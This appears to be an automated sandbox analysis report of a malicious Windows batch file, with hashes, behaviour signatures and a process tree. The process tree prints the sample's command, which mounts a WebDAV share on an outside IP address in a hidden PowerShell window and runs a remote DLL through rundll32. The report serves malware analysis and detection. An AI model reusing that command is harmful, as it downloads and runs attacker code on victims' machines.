Analysis
- max time kernel
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
21/05/2026, 14:08
Static task
static1
Behavioral task
behavioral1
Sample
31155263153238418073.bat
Resource
win10v2004-20260513-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
31155263153238418073.bat
Resource
win11-20260513-en
7 signatures
150 seconds
General
- Target 31155263153238418073.bat
- Size 2KB
- Sample260521-rfjjkshv71
- SHA256 1f2b0b03e1d3a0e1cb3fd8d0efe250e300adf0d47c3887455e480c6022b57569
- MD5 2302bbca2822a91912b9a04043dbf97d
- SHA1 3a6720cddfb1e452a420edb27108f0ffb5e20210
- SHA512 92c7cc9ab2d547ccf77d89c71faafc658ce71f9a5f779bdb0028e94a0af3e34222ca5ab81135118ea7ee7ae9a84479b0c3d22d1e7e26545ddd8bfd7692278ccd
- TLSH T17B418DF634FFDBD910F264D3B21676FD950AE271C86680DE1A1B618CD88416C3EE7252
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4912 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4912 powershell.exe 4912 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4912 powershell.exe - Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2688 wordpad.exe 2688 wordpad.exe 2688 wordpad.exe 2688 wordpad.exe 2688 wordpad.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 852 wrote to memory of 2688 852 cmd.exe 80 PID 852 wrote to memory of 4912 852 cmd.exe 81 PID 4912 wrote to memory of 4728 4912 powershell.exe 83 PID 4912 wrote to memory of 2732 4912 powershell.exe 84
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\31155263153238418073.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:852 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2688
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4878.dll,entry2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4912 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\3⤵PID:4728
-
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4878.dll,entry3⤵PID:2732
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3156
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qiem5ac4.3q1.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH